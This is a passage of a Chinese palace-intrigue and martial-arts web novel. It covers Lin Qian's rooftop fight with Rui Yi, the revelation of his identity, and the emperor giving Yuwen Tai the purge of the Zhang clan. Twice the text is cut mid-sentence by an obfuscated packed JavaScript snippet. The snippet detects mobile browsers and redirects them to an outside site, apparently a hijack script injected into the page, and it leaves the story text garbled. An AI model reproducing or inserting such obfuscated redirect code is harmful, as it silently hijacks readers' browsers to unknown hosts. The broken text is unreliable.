林骞险险稳住身子,将将把脚靠在房顶突出的飞檐翘角上,借此机会回转些内力。他身上虽有如撕裂般疼痛,但眉眼仍然含笑:“芮伊,你就这么对待自己的心上人?下手怎的这么重?” 芮伊收回掌势,一阵微风掀起她脸上的面衣,露出了一半绝色:“柔然女子性子向来刚烈,林公子不听我的话,我便只好用强的了。” 言毕,她左首之人突然出剑疾刺,林骞连忙缩身摆腰,剑锋从左肋旁掠过,相距不过寸许。 这一剑实在凶险,林骞身在半空,疾呼道:“芮伊,你这几个跟班儿也是从柔然来的?” 此言一出,更是激得那人攻势更猛,还没等林骞落地,便挥剑追击。不过方才那几句的功夫,林骞已经收回了大半内力,见对方直逼自己而来,倒也不害怕,反而是等着长剑到了面前,身形左摇右晃,从刀剑之间窜了开去。 芮伊见他脚步左歪右斜,没一步笔直进退,心中不禁奇道:“这是从哪里学来的招数?” 林骞恍若能听见她的心声似的,远远地答道:“我这招叫‘风影九变’,你们柔然秘术中改良而来。” “狗贼!”另一个秃头和尚大声怒喝,手中长鞭一挥,竟抡出半轮寒芒,“敢偷学柔然武功?” 林骞回身一旋,问道:“骂谁狗贼?”说完,突然伸脚掀起一块脚底青瓦,抬脚直踢过去,那青瓦登时飞向对面,其势之猛,逼得对方急忙后退。 “林公子好身手,”芮伊立在不远处,嘴角勾起一抹冷笑,“不知你是学中原的招式更多,还是柔然的武功更多?” 林骞对她嘿嘿一笑:“要做柔然女婿,自然得多学学柔然招式咯!” “哼,柔然的功夫 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林骞飘然一扭,如游蛇般一一躲过,“芮伊,可别怪我不客气了。”忽然,他猛地甩头,口中飞镖如星雨降落,与此同时,怀中书信也被甩了出来,如蝴蝶般纷纷飘向空中。 三人顿时被纸张吸引去了注意,赶紧飞上前企图接住。 “芮伊姑娘,这次就先送你这些薄礼,还望笑纳。”话毕,林骞踩着屋顶的翘角,使力一蹬,身子贴地向后倒飞而去,接着一个筋斗飞起,便落到了远处,如浮光掠影一般,眨眼间便消失不见。 原来林骞见对方攻势更甚,自己身上又已经带了伤,不可继续恋战,于是趁着三人不注意之际,早早将方才芮伊攻出的几枚飞镖藏于袖中,等到合适的时机再攻击对方要害,顺势将部分信纸抛出,声东击西,夺得逃跑的机会。 眼睁睁看着林骞再次从眼底溜走,芮伊怒火难消,转头对另外二人问道:“他留下的可是我们要的东西?” 剑客怒道:“全是白纸!我们又被他耍了!” 芮伊眸光一闪,道:“拿给我看看。”二人将信纸递给她,她接过信纸,仔细检查起来。 看完,芮伊道:“一共十张,只有一半是白纸。” 剑客踢开脚边半截断刃,冷笑一声:“难不成还分了点儿给我们?” “多半是这狗贼拿来糊弄人的!”那秃头收起长鞭,也走了过来。 “不,赛罕的私印和行文墨色皆在上面,不会有假。”芮伊摇头否定,“但通篇只见刘生笔迹,寻不到半字与章满勾连。”她攥紧信纸,碎纸在掌心簌簌而落,“今天这趟,白来了。” “他奶奶的!肯定让他卷走了,逍遥居向来是大夏朝廷的狗腿子,章满的证据定要叫他们烧得干干净净!”秃头怒挥长鞭,“亏我们把他打得落花流水!” 芮伊怒眼相视:“落花流水?你们两个差点儿被他耍的团团转!” 秃头摸了摸锃亮的脑门,苦瓜似的脸皱成一团:“那小子滑得像泥鳅,我们也没办法。” 剑客道:“可他为何故意留下这些?他若想逃,大可干脆一走了之,难道逍遥居想跟我们合作?” 芮伊望向林骞离去的方向,眼中神情复杂,她的心里隐隐有个答案冒了出来,但她不敢承认。 53.真相 暮冬过去,天上竟飘起了雪来。半柱香的功夫,朱红宫墙下便已积起寸厚的雪毡。 杨柯将最后一卷文书压进紫檀书匣里,抖开织金斗篷,披到肩上,走了出去。 方一跨出门槛,寒气裹着雪沫扑面而来。风卷着雪粒掠过宫墙,将屋檐翘角的轮廓涂抹得模糊不清。整座宫阙被覆上了一层缟素,紫微宫似乎又重新恢复了往日的宁静。杨柯忽然顿住脚步,她望着漫天飞雪,无数银丝自云层垂落,似乎将整座紫微宫缠成了一个巨大的囚笼。而那悬在空中的绞盘早已被一双无形的巨手控制,越绞越紧,刘家便是铁索断裂时坠下的第一颗巨石。 杨柯不知不觉便走到了观星阁。 阁前老树枝丫苍劲,伸向空中,却显得执着又孤独。夹杂着雪花的冷风刮过,门檐上的风铃重又响起,回荡在这寂寥的天地间,仿佛是从遥远的天边传来的虔诚之音,要洗涤这世间最后的污秽。 杨柯站在刘悦曾经躺过的地方出神,那里已经没有了骇人的尸体,青灰色的地上,空空荡荡,只剩一地银白。 她不禁感到悲凉,这世间何尝公平?连老天爷都在帮着掩埋黑暗。一夜之间,一个活生生的人居然可以被完全地遗忘。她旋即忧伤地想到,既然人的生命都尚且如此,更何况是虚无缥缈的感情? 细雪扑簌簌砸在脸颊,杨柯抬手拭去冰渣,转首望向承影湖。雾凇挂满枝头,湖面冻得发亮。依稀之间,对岸忽然绽开一抹白衣。 杨柯心里猛地一跳,难道是他? 那广袖白衣裹着寒风翻涌,衣袂上的金绣云纹在风中若隐若现,仿佛冰原上跃动的流火。 杨柯的心此刻忽然躁动开来,她像是块磁铁,被那白色牢牢吸引,目无其他,踩着雪狂奔而去。 “姑娘危险,切莫往湖中去!”一个宫女在岸上呼道。 杨柯转头道:“没事,我自有分寸。” 可再回头时,对岸的白衣已经消失不见了。 杨柯闷闷地回到了武华殿。 自刘悦横死的那晚后,宇文泰便再也没传唤过杨柯去武华殿。她屡次想要进入他那间书房,都被小顺子拦在门外,只能留下上报的文书。 “公公,究竟是怎么回事?我已经接连五日没有见过殿下了。” 小顺子为难道:“杨姑娘,这话奴才还想问你呢。”他瞅了书房一眼,凑到她耳边,压低了声音,“殿下吩咐过奴才,只要你来了,怎么都不见。” 杨柯不禁感到奇怪,若说宇文泰是为那晚观星阁的事怄气,这都五日过去,再大的火也该熄了。可为何如今还是如此?不过她倒是乐得清闲,晚上再也不用在书房里捱到四更了。于是道:“多谢公公提醒,我想起来,估摸着是因前几日殿下遣我去取千里镜,我一时贪快,拿错了式样,惹怒了殿下。看来殿下气还未消,那我过几日再来吧。” 小顺子听言劝道:“杨姑娘,殿下这人是刀子嘴豆腐心,他气上来了,哄哄便是,莫要与他争个高低。奴才也帮姑娘多说点儿好话,依着殿下的性子,这两日应当就没事了。” 杨柯笑道:“多谢公公替我美言几句了。” 从武华殿走出来,天上仍是搓绵扯絮。杨柯刚跨出殿外的玉阶,便望见远处回廊下两道熟悉身影。 “小白!昌吉!”杨柯扬声唤道,自从搬入武华殿,除了例行课业,她便鲜少与他二人相聚。这段时日又经历了种种波折,再相见时,杨柯心中便觉得尤为亲切。 乐白一见杨柯,便雀跃着跳起,立马拉着昌吉冲她跑来。站定后,先捧住杨柯的脸左右端详,细眉蓦地拧起:“你怎么瘦成这样?是不是二哥不给你吃的?” 杨柯拨开她覆在脸上的发丝,轻快笑道:“哪里的事!每日要看的文书堆积如山,我囫囵扒两口就接着忙。加上天冷,胃口也差,不知不觉就清减了。” “天气冷不该吃得更多吗?”昌吉还是这个样子,要放在以往,杨柯只觉得气不打一出来,但此刻杨柯望着他欲言又止的神情,却只觉得十分庆幸。 她伸手拍了拍昌吉肩头:“是啊,明日我就去蹭你的桂花糖糕,听说还是郡主亲手做的,想来最是香甜。” 昌吉小脸一皱:“那……那是特意给……总之不能给你!” 乐白轻轻拽住杨柯手腕,担忧道:“阿柯,刘家满门获罪的事闹得沸沸扬扬,章家想来也人心惶惶。这些时日我们连你的面都见不着,如今二哥那里怎样?他有没有为难你?” 杨柯一时被问住,自己该如何回答?不仅他们见不着宇文泰,她自己也见不着,“额……对殿下而言,只有忙或不忙的区别。他向来雷厉风行,再大的事都能料理得很好。”说着话,她将衣襟拢紧,睫毛上的雪粒随着笑容簌簌坠落,“至于我嘛,在他身边誊誊文书、端端茶盏,跟着学些门道罢了。” 乐白放心点头,忽又想到了什么,眼睛一亮:“对了!方才课上昌吉又闹了笑话!” 杨柯也被她感染,嘴角不自觉上扬:“这次他又干了什么?” 乐白笑看了昌吉一眼,拿肩膀撞了撞他:“你自己说。” 昌吉耳尖泛红:“不就是范夫子让我念书,我乖乖照着书上的念了,结果他又生气。” “你那是照着读?”乐白笑得声音打颤,“他今日啊,把纪夫子的《诗经》带到了范夫子的兵法课,在夫子面前,摇头晃脑地念起来‘关关雎鸠,在河之洲’,可把老头给气坏了,整节课吹胡子瞪眼的。”说完杨柯也跟着笑起来,昌吉涨红着脸别过脑袋,嘴角也止不住地笑。 乐白笑完了,直起腰,又道:“连伯喻都说,昌吉读书是‘纸上得来终觉浅’,我们都得甘拜下风。”她说完便察觉不妥,忙收起笑意,与昌吉对视一眼,二人皆不安地看向杨柯。 杨柯浅笑道:“伯喻今日也去了书院?”声音轻得仿佛要融进风雪里。 昌吉点头:“他和你一样,也瘦了大半。” 杨柯眉头皱起,担忧道:“比前半月呢?” 昌吉认真思索了一瞬,回答道:“更憔悴了。” 乐白拉起她的手,往自己怀里带了带:“好了,先别操心旁人,还是多关心关心你自己吧。明日我给你带桂花糖糕,咱们边吃边聊。” 告别了乐白和昌吉后,杨柯望着窗外不断坠落的雪花,她的心也跟着坠入无边的黑洞。 刘家满门冤死,伯喻身形憔悴,宇文泰对她避而不见,不知为何,这些事凑在一起,总透着股说不出的诡异。 不行,不能这样坐以待毙下去,她必须做点什么。若能拿到刘悦临死前提到的章满的罪状,岂不是能够还天下一个清白?至少可以交给师父和爹爹,他们一定能有所作为。 杨柯登时从椅子上蹦起来,换上遁光衣,飞奔了出去。 哪里藏着证据?除了大理寺外,最有希望的地方,恐怕就是被封禁的刘府。以刘悦死前的口吻来看,那里一定还遗留着什么东西。 杨柯趴在刘府后院的房顶上,环顾四周,府内并没有什么人在巡逻,只有门前两个侍卫。 她心中一喜,看来是天助我也了。 正欲一跃而起,底下传来一道熟悉的声音:“小柯,你在这儿趴着做甚?” 杨柯转头一看,居然是林骞。来人正立在刘府外墙旁的巷道上,悠然地摇着折扇,似笑非笑地望着她。 杨柯心中顿感无语,为何这厮早不来晚不来,偏偏在这关键时刻过来? 看着林骞清澈的眼神,她开口道:“我……是来……” 没等她编出个理由,林骞便先一步道:“你不会想要去刘府搜点什么吧?” “你怎么知道?”话音刚落,杨柯便倍感懊恼,自己的嘴巴永远比脑子还快。 林骞冲她招招手:“快下来休息吧。就算你此刻飞进去,将刘府翻个底朝天,也只能挖出几截老鼠尾巴。” 杨柯疑惑道:“小骞子,你何出此言?” 林骞“啪”地将折扇一收:“因为东西已经被我找到了。” 被他找到了?杨柯心里大喜,逍遥居果然是江湖组织,动作就是迅速啊。她忙问道:“你找到什么了?” 林骞神秘一笑:“跟我回逍遥居,我就告诉你。” 杨柯心里好笑,还卖起关子来了。不过省去了翻找的麻烦,直接拿到证据,也不失为一件美事。 她一个回身便从屋顶上跳了下来,刚一落地,林骞便道:“小柯,以后还是少去趴人房顶。” 杨柯掸了掸身上灰尘,问道:“为何?” 林骞扇着折扇,悠然道:“被人看见了,会被当作变态。” 杨柯差点儿被口水呛住,她斜睨了他一眼:“看来从前被逮过?” 林骞蓦地收起折扇,往她额头一敲:“大胆!你林哥哥我好心提醒,你怎么不识好歹?” 杨柯瞪他一眼:“哼,你管我趴不趴房顶。”目光落到他手里的折扇,又笑着调侃道,“林兄,冰碴子往脖子里灌还摇扇子,就不怕冻出毛病?” 林骞学着她的腔调:“哼,你管我冷不冷。” 折扇扇起的风也冲杨柯这边扑来,她刚要挪步躲开,鼻尖却忽然嗅到一丝药味,转头便发现林骞的胸口露出一截白色。她察觉不对,立即问道:“小骞子,你受伤了?” 林骞第一次避开杨柯的目光,笑着道:“前几日出了个任务,路上遇见几个官兵,我那天没吃饱饭,交手间竟失了神,让那小子砍了一道。” 杨柯奇道:“没吃饱饭?这算什么劳什子原因?”说完便踮脚凑近,仔细端详着林骞的表情,企图从他的脸上读出些什么来。 林骞屈指弹了弹她额头:“阿柯啊,还是省点儿力气,就算在我脸上凿出个洞来,你也猜不透的。” 杨柯挥开他作乱的手,嘟囔道:“少小瞧人!你我都多久未见了,哪里知道我有无长进?” 林骞闻言大笑,揽过她肩膀往逍遥居走去。 方一走进大厅,杨柯便瞧见一位高大男子立于巨画前。那人背身而立,湖蓝衣袍垂至束带,勾勒出挺拔身姿,不过这背影竟看着着实熟悉。 林骞望着男子笑道:“二哥,你看我把谁带来了?” 杨柯心中发奇:二哥?怎么到哪儿都有个二哥。 男子闻言转身,看清了他的脸后,杨柯才明白为何,于是立即掉头转身就跑。 “杨柯。”宇文泰的声音在背后响起。 杨柯冷汗直冒,这宇文泰为何会出现在此?林骞又怎会叫他二哥? 原来林骞果真是宇文麟!宇文泰本就生着她的气,这次偷偷出宫又被他发现了,那自己岂不是要命丧他兄弟二人之手? 杨柯强稳住心神,转过身去,宇文泰身着一袭湖蓝色长袍,与平日的一身玄色完全不同,看着竟更加俊美了些。 可如今她望着这张脸,却只能瑟瑟发抖。 杨柯尴尬一笑:“殿下,好巧啊,在这碰见了。” 林骞笑着拍了拍她的肩:“小柯,没想到吧,二哥也来我这了。” 确实没想到。原来这几日他避着不见自己,是跑来了逍遥居。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507065|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宇文泰冷冷凝着她道:“杨柯,私自出宫,你胆子不小啊。” 杨柯干咽了一口,想开口解释,被林骞截住:“二哥,你就别吓小柯了。你又不是不知道她常来我这。” 什么?宇文泰知道她经常偷跑出宫来逍遥居?杨柯额头上的冷汗快要滴下来了。 宇文泰冷哼一声:“可她却从未向我提过。” “她哪敢跟你提?”林骞折扇轻敲掌心,“你可是高高在上的羲王爷,告诉你了,她岂会好过?” 杨柯感激地瞥向救星,头一回觉得林骞如此顺眼。她连忙附和道:“林公子说的正是我心中所想。” “哦?”宇文泰逼近半步,眼神如冰,“我看你根本没有要告诉我的意思,若我今日不来,这辈子都不会知道你和逍遥居的关系。” 林骞突然笑出声:“二哥,这就是你的不对了。一年前,不正是你给了小柯玉佩,还让我扮作你在逍遥居同她相见,这谎撒得比谁都久啊。” 杨柯闻言如遭雷击,指着宇文泰大喊道:“原来那晚我在紫英阁遇到的人,其实是你?!” 宇文泰的语气平静如水:“不错,是我。” 杨柯接着质问道:“可为何入宫之时,你在承影湖畔见了我,还要装作不认识?” 宇文泰无语道:“难道我要眼看着你当着宇文拓和纪夫子的面,说出逍遥居来吗?” 杨柯心中一股无名之火涌了上来:“可你后来处处针对我,也是……” “好了,此事就此打住。”林骞突然横跨两人之间,一只手按住杨柯肩头,另一只手勾住宇文泰的脖颈,将两人往内室带去,“冤家路窄也是缘,从前的账,你们回去了再慢慢算。”他冲二人眨眼,“现在跟我来。” 杨柯和宇文泰的心情一个似火,一个似冰,眼神方一对视上,又同时别开脸,跟着林骞走了进去。 林骞走到书桌边停了下来,拿起一叠纸,递给了宇文泰。 “这是从刘府中搜出的信件,”他解释道,“藏在了刘府书房内,最显眼的位置里,最不起眼的角落。我本想去试试运气,看看能不能寻到些蛛丝马迹。但没想到刘生临死还留了后手。看来,他们和柔然秘密交往之程度已经超过了我们的预料,就连影刃阁跟踪了这么久,也没来得及将所有证据都纳入囊中。” 杨柯听到影刃阁三字,心里一跳,后知后觉地想起那日跟踪芮伊时听到的对话。原来影刃阁的行为看似挑拨离间,实则是在暗中追查刘生与赛罕之间的勾当。 林骞则望着宇文泰,后者仔细地翻阅着手中的信纸,眉头越皱越紧。 “其中涉及不少军中机密,不过更多是柔然那边的情报。”林骞瞥向宇文泰紧锁的眉峰,“可是这些机密,除非章满授意,刘生根本不可能知晓。”他顿了顿,轻叹一声,“章满的保密工作做的实在太好,刘生的所有行动都能与他撇清。” “为睦邻修好,愿与贵国携手并肩。兹定于后日之战,谨献雁门城全境之地,以表诚意。”宇文泰一字一字地念过去,额角青筋突突直跳,“哗啦”一声,将手中信纸狠狠掷向桌案。 林骞叹道:“边境百万男儿,朔州十万领土,就这么白白送人。”他看着宇文泰,眼中满是哀伤,“二哥,这便是我们要效忠的国家,要忠心的将领吗?” “你们不知道这些事?”杨柯疑惑地看向宇文泰和林骞,他俩一齐望向她,眼里半是震惊,半是迷惑。 她咽了口唾沫:“额……我以为,殿下亲自帮皇上辅政,这样的秘密,按理来说,你应该知道才是。” 宇文泰眉头一挑,反问住她:“你为何知道这些?” 杨柯赶紧找了个借口:“我是从别人那里听来的。” 他紧追不舍:“别人?” 杨柯看了一眼林骞,既然这个秘密对大家来说都一样,那她现在说出来也没有什么不妥了,于是道:“刘悦自戕那日,她临死前所说。” 宇文泰气得倏然起身:“你口口声声说什么都不知道,根本就是在骗我!” 林骞见状,赶忙按住他:“二哥,她若当时告诉你,你将她视作乱臣贼子抓起来怎么办?” 杨柯感激地看着林骞:此乃大善人也!今日若没他在,自己恐怕早被宇文泰千刀万剐不知多少回了。她硬着头皮解释:“我哪知道你也被蒙在鼓里。我以为你和章满是一丘之貉。若是告诉你了,我小命就没了。” 宇文泰直盯着她:“杨柯,你还有多少秘密瞒着我?” “没有了,真的没有了,”见他神色仍然狐疑,杨柯赶紧伸出手指作发誓状,“天地可鉴!小骞子可鉴!” 林骞赶紧开脱:“我可做不了保证啊!” 宇文泰看着他俩,眉头也舒展了开来:“好,这次我信你。” 告别了林骞,二人启程回宫。 宇文泰端坐于天鹅绒垫上,静静望着车外,瞳仁中玩笑的轻松已逐渐散去,复杂的朝政纷争又重新将他包围。林骞带来的消息着实令人难以消化,更何况是一向尽忠职守的羲王。望着他拧眉沉思的模样,杨柯也安静地坐在一旁,二人一时都没再说话。 进了宫门,马车方一停稳,小顺子便着急忙慌地奔来:“殿下,您终于回来了。” 宇文泰不急不缓地下了马车:“何事如此着急?” “李公公方才来了殿里,说是陛下召见!” 杨柯立即望向宇文泰,他的眼中,是悲切、愧疚,还有愤怒,但这些就像眼前大雪弥漫的京城,被一层冰冷彻底覆盖了。 54.接手 宇文泰径直向勤政殿的方向走去,杨柯望着他在雪中的背影,身躯刚硬挺直,足下的印迹仿佛勤政殿内,那些累牍木简被烈火炙烤后留下的烧痕,记录着此刻他心中的煎熬。 “小顺子,殿下这次又要去多久?” “多久奴才也不知啊。不过,听李公公说,陛下今日的心情就跟这天气一样,冷冰冰的。” 雪花落在脸颊上的凉意,让宇文泰想起了七年前的那个大雪天。 带领一千精兵攻打柔然的章擎被父亲罚跪了整整一夜,可是这场仗明明是大夏打赢。雪地里,章擎的盔甲上覆了厚厚一层冰雪,仿佛老天也在心疼,为他披了一身雪毡。 “擎哥,为何不去跟舅舅解释明白?”宇文泰蹲下身,伸手为他拂去肩头白雪。 “父亲总说生死自负。”章擎眼睫上的雪花随着他的动作簌簌而落,他望着远处的大帐,声音裹着寒气,“阿泰,你还记得吗?小时候学骑马,爹什么都不做,只是把我们扔到马背上,即使摔断了肋骨,他也无动于衷。” 宇文泰沉默良久,喉结动了动:“或许只有这样,才能让我们明白这个道理吧。” 章擎无奈一笑:“可如今,我在践行此理,他却不认账了。” 深夜军帐中,章满检查着宇文泰的沙盘推演。“王帐不在北麓,”章满将青铜兵符擦过沙盘边缘,代表柔然主力的阵列往西推了半寸,“雁门城最重要的就是水源,取水点三箭之地,才是敌军中枢。” 宇文泰望着沙盘上重新排布的局势,问道:“舅舅为何如此熟悉雁门城的地形?” 章满的指尖划过自己额角的一道狰狞旧疤:“这疤是当年我为陛下挡过的那一箭。若不是我坚持要攻打雁门城,如今坐在皇位上的,恐怕就是别人了。” 宇文泰望着舅舅的背影,帐外风雪呼啸,舅舅的叹息混着炭火的噼啪声传来:“擎儿的倔,像极了我。” 这时,宇文泰才敢问出心中疑惑:“擎哥并未打下败仗,您又为何要他罚跪?” “傲不可长,欲不可纵,志不可满,乐不可极。”章满的视线穿过帷帐,落到了外面的雪幕中,“他这次是逃过了一劫,下次呢?” “可他单枪匹马闯进敌营,此等勇猛之举难道不值得鼓励?” 章满喝道:“未筹粮草,未通军机,仅凭血气之勇就敢孤军深入。这不是勇猛,是拿万千将士的命当儿戏!” 宇文泰攥紧袖中拳头,仍坚持道:“也许擎哥心中自有盘算。” 章满负手回身,如炬目光射进宇文泰的眼底:“泰儿,在战场上,没有‘也许’二字可言!” 自从那日以后,舅舅与擎哥再也没说过一句话。宇文泰一直心存疑惑,若是为着此事,他们也不至于到剑拔弩张的地步。擎哥从前也同样做过鲁莽冒失的决策,舅舅惩罚过后便好了。可这一回,却怎么也好不了。 直到他看到了擎哥帐中的一个女人。 “阿泰,她叫容徽。”宇文泰顺着他的笑意望去,一个身着石榴红裙的女子欠身向他行礼,她脚上的翘足履并不合脚,微颤的手指透露着她的紧张。 “容徽,”宇文泰默念起这个汉人名字,可她深邃的眉目分明来自国境线的对面,“她是柔然人。” 章擎一把执起容徽的手:“柔然有什么好怕的,既然她愿意跟着我,我就信她!” 原来擎哥是为了她才会冒险前往敌营。 那时他和舅舅一样无法理解擎哥的行为。为了一个女人,将自己和军队陷于千钧一发之际,岂不荒唐?可他不得不承认,那轻蔑底下还有一丝羡慕。因为他分明地感受到,轻飘飘的爱情居然有如此磅礴的力量,可以让擎哥不顾一切——他已经先自己一步,成为了当年二人希冀的样子。 年少时,宇文泰总喜欢和擎哥较量谁更勇猛。有一天夜里,两个人偷偷牵出舅舅还未驯化的突厥战马,比谁先在马鬃着火前解开缰绳。章擎被疯马甩下背脊的次数和他一样多,但最后马鬃燃起的刹那,他想起了麟儿在三年前入葬时的那场大火。 片刻的犹豫让他被暴起的战马重重甩落在地,背上传来的剧痛清楚地告诉他——他输了。 军帐中,他望着擎哥看向容徽的眼神,好似整个世界都是他们的。宇文泰心底忽然一动:何时他也能像擎哥一样,遇到一个让他心甘情愿抛掉所有的人? 后来,他和章擎一同上阵,二人背靠背迎敌时,他第一次感到前所未有的畅快。 只有在这个时刻,他再也不用顾虑身后,只需凝视眼前。 冰湖裂缝间,擎哥用身体为他挡住落石,鲜血浸透了铠甲,但擎哥的脸上仍是笑容:“小时候你偷穿我的盔甲,如今看来,这盔甲还是不合身。”可笑容还没过一个来回,下一批流箭已经赶不及地向他们飞来,擎哥一个用力支起盾甲,将他们护在那一方天地里。 此刻,铅云压顶,苍鹰盘空,柔然骑兵如浪潮涌来,凝成铜墙,大夏银甲似霜刀林列,结成铁壁。两军列阵对峙,彼此怒视,逼得狂风只能困在两堵高墙间躁动翻滚、打旋转磨。 待到箭矢停止了叫嚣,章擎挥起长枪,刺破霜风,朝天呼啸:“兄弟们,杀!” 千百个血气方刚的少年仰头怒号,呼声冲破了牢不可破的铁墙,震荡在天地之间。马儿也被这声音所震撼,扬起脖颈,鬃毛烈烈飞舞,撒开四蹄,放肆狂奔。 长枪擦破空气的声音点燃了他的血液,宇文泰彻底融进了这磅礴之中,他已经不是自己,而是军阵中的长矛,刺向敌人的飞箭! 大雪毫不留情地覆压着天地,终于抹去了他心底最后一块见不得人的阴影,那是来自身后皇宫中的暗斗、构陷。但是现在,整个世界都是白的,只有剔透、只有干净、只有他们,一人一马一枪,在这一原素白上泼墨挥洒着少年意气,肆意发泄着男儿血性。 那一仗,大夏击溃了柔然,终于夺回了失去的领土。 那一晚,篝火燃烧了一整夜,酒香与欢笑从未断绝。 深夜,宇文泰走近大帐时,望见舅舅独坐在烛光下,手里的磨刀石打磨着一套盔甲,上面那块裂缝,正是冰湖上的碎石砸到擎哥的右肩留下的痕迹。那会儿他才察觉到,舅舅的两鬓也和他们一样,不知何时覆上了雪花。 “殿下,请进。”李公公的声音将他从回忆里拉回。面前的毛毡大幕拉开,父皇殿中的龙涎温香扑面而来,提醒着他整个冬季的祁寒。 从麟儿口中得知真相的那一刻,其实他并不惊讶。治理兵部的这几年,他早已察觉到蹊跷。 擎哥接手虎符以后,前线近年出现连连败退的境况,以他对擎哥和军中将领的了解,并非是军队之责,其中一定有某个原因,导致大夏接连败于柔然。直到影刃阁在京城出现,他命麟儿跟踪调查,才发现刘生的手已经伸到了柔然。 但真相远比预想的更不堪。直到亲眼目睹那些书信后,宇文泰才不得不面对心底里那个最不愿承认的答案。 他不明白,舅舅曾经和刘生一同横渡渭河,一同征战沙场,他们饮过同一碗军中酒,躺过同一片荒野乱坟。是什么让舅舅将手中的长槊转头对准了同袍?是什么让他弯下了曾经笔直的脊梁! 但无论他明不明白,章家必须要付出代价——刘家便是章家交出的第一滴血。 果然,刚一回宫,勤政殿那边便来了动静。只不过这一回,父皇将剃下这颗坏死肱骨的刀递给了自己。 宇文泰走进殿内时,皇帝正赤着脚、科着头,斜倚在垫上,连冠冕都未戴,仰着头喝着酒。面前几只硕大的铜爵整齐地铺排在案上,每一杯酒都已注得满满当当,表层甚至高高弓起,再加一滴,便必然四溢。 皇帝摩挲着铜爵边缘的花纹,漫不经心地开口道:“泰儿,你知道,告发刘生的密案是谁呈给朕的吗?” 宇文泰垂眸沉声道:“想来当是七弟。” “不错,看来你手底下的逍遥居没有白忙活一场。” 宇文泰骤然跪倒在地:“父皇恕罪!” 皇帝叹了口气:“你们都长大了,有了自己的想法。办起事来,也不会跟父皇商量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507898|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” “逍遥居一心一意为大夏朝廷办事,并无二心。” 皇帝笑着扶他起身:“你先起来,弄得像朕在审问犯人似的。”他凝视着宇文泰的神情,“你做事,朕放心。这么些年,逍遥居为大夏办了不少好事,朕欠你们一个嘉奖。” 宇文泰垂首作揖道:“逍遥居不敢当。” “有些事情,朕也就睁一只眼闭一只眼了。”皇帝脸上的笑意逐渐隐去,语速放慢了些,声音也轻了下去,“不过,他是朕的儿子,也是你的弟弟。若他去了柔然,想必是你我都不愿看到的结局。” 宇文泰这时才抬起眸子:“父皇说的正是儿臣心中所想。根据逍遥居的情报来看,伯喻尚未酿成大错,他能为父皇呈上密案,证明其心还是在大夏这边。” “你们知道多少?”皇帝的目光终于显出凌厉。 “影刃阁目前由阿揽延控制,他与赛罕在柔然朝中势不两立。当今柔然的大部分兵权在赛罕手上,一旦勾结大夏的秘密被揭露,想来赛罕也会势力大伤,兵权很有可能被阿揽延拿下。这是影刃阁的目的。而伯喻的目的,应是为大夏铲除余孽,肃清军政。” 皇帝轻叹一声,望向殿外的黑夜,“人心如良苗,得养乃滋长。朕当年犯过错,对伯喻始终有愧。不希望看到他因为过去的事走上歧途。” “伯喻多年来襄助父皇理政,于工部兴修水利,于户部革新赋税,以老七的忠诚与才干,儿臣实难相信,他会做出忤逆大夏之事。” 皇帝缓缓转过身去,行至案边,“泰儿,朕老了。这座江山,总有一天要交到你们手上。” 宇文泰蹙眉低声道:“父皇……” “趁着朕还有点儿力气,能多帮你们铺几步路,便多铺几步。朕最希望看到的,是你们兄弟二人其利断金,把宇文一族的江山延续下去。” 宇文泰看着父亲已经逐渐佝偻的背影,心里突然感到一阵悲凉,“儿臣和老七皆是忠心耿耿,定会延续父皇的心愿。” “有你这句话,朕就放心了。”他指着桌上的欹器,嘴角露出一抹隐约的笑意,“朕时常觉得,治国就如同这个欹器。没有水的时候,它是歪的,水注得太多,它便会翻过来,只有加得刚刚好,它才会稳稳当当地立住。” 宇文泰道:“月盈则亏,水满则溢,人满则损。父皇素来对朝中大臣、儿臣及诸兄弟要求甚严,想必正是出于其理。” 皇帝听言,将手中酒杯掷于案上,抬手虚指:“可你们总是记不住啊!朕能如何是好,泰儿,你说,朕该如何是好?” 宇文泰明白,此刻才是父皇亮出真面目的时候——他递来一张带血的纸,“你瞧瞧。” 那是刘生在牢狱中吐出的最后一口气,也泻尽了章氏一族未来的气运。宇文泰死死地凝着这张纸,眼里所见的一笔一划,都渗着千万男儿的血。 纸上写满了参与过通敌的官员和将领的名字,抚西大将军李冲、征北将军刘喜、平西将军陈秀……数不清的军中良将,他们都曾立下过赫赫战功,却无一例外地被章满牵扯进这场荒唐的骗局中。 其中还有个刺眼的名字——白韬。 “白大人久居朝中,料理兵部,为何会做出通敌一事?” 皇帝手指轻轻叩在纸上:“这里头将近一半的人,都曾受他提拔。你说,养虎为患的罪,他该不该担?” 宇文泰逐渐明白,父皇想要借他的手,铲除的不仅是章氏盘根错节在大夏的每一支根脉,还有那些已经在朝中盘踞太久的老臣。位列凌渊阁十二功臣的江云尧、公孙仪、李元、魏毅、宫询皆因各种原因退居庙堂,除了已经离世的四位大将军和文臣外,唯余易望林、章满、白韬尚且身居高位。这一次,又要除掉几个? 暮色沉尽,殿内十二尊捧釭铜人手中烛火次第亮起。青铜面庞个个都挂着诡异的笑意,摇曳灯影中,凝固的表情透着股讥讽与自负。 宇文泰躬身退出勤政殿,就在转身的刹那,身后一道已然苍老的声音传来:“泰儿,成王之路,容不得仁慈二字。” 55.保证 